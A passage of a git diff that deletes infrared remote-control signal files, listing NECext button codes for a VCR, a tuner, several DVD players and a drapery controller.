-protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: GO-TO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4D 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4E 00 00 00 -# -name: SKIP/SEARCH -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6A 00 00 00 -# -name: FRAME_ADVANCE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir deleted file mode 100644 index 10ce23dc6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FORWARD_> -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: BACK_< -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 44 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 45 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 46 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 47 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 48 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 49 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4D 00 00 00 -# -name: ENTER_FREQUENCY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4E 00 00 00 -# -name: RDS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4F 00 00 00 -# -name: MONO_(TOGGLE) -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 50 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 51 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir deleted file mode 100644 index 2110702cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: EYE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: BRIGHTNESS- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: BRIGHTNESS+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: TOP10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: CONTRAST+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 70 00 00 00 -# -name: CONTRAST- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir deleted file mode 100644 index 941c8ed7d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: clear/eq -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: ran -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: l/r -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: arrow-right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: arrow-down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: arrow-left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: diesis -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: arrow-up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: PDVB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: view -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir deleted file mode 100644 index 47449946b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_<--> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: OPEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: OPEN_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: <-_->_(OPEN) -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: 1_-><- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: CLOSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: CLOSE_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: -><-_(CLOSE) -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: 2_<--> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: OPEN_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: 2_-><- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: CLOSE_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 24 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: STOP_CLOSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: STOP_OPEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: 3_<--> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: OPEN_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 26 00 00 00 -# -name: 3_-><- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: CLOSE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: 4_<--> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: 4_-><- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: 5_<--> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2C 00 00 00 -# -name: 5_-><- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: 6_<--> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: 6_-><- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 32 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir deleted file mode 100644 index d9ec4f900..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: PREV_TRACK_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: NEXT_TRACK_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: SUBPICTURE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: SLOW_< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: FEATURE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5D 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir deleted file mode 100644 index 26a079fc5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 00 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 03 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 06 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 11 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 15 00 00 00 -# -name: RWD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 20 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 21 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 22 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 23 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2B 00 00 00 -# -name: RRWD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2F 00 00 00 -# -name: A_B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 34 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 37 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 38 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir deleted file mode 100644 index 1eb6ea38c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: n/p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: r/l -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: view -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_MENU -type: parsed 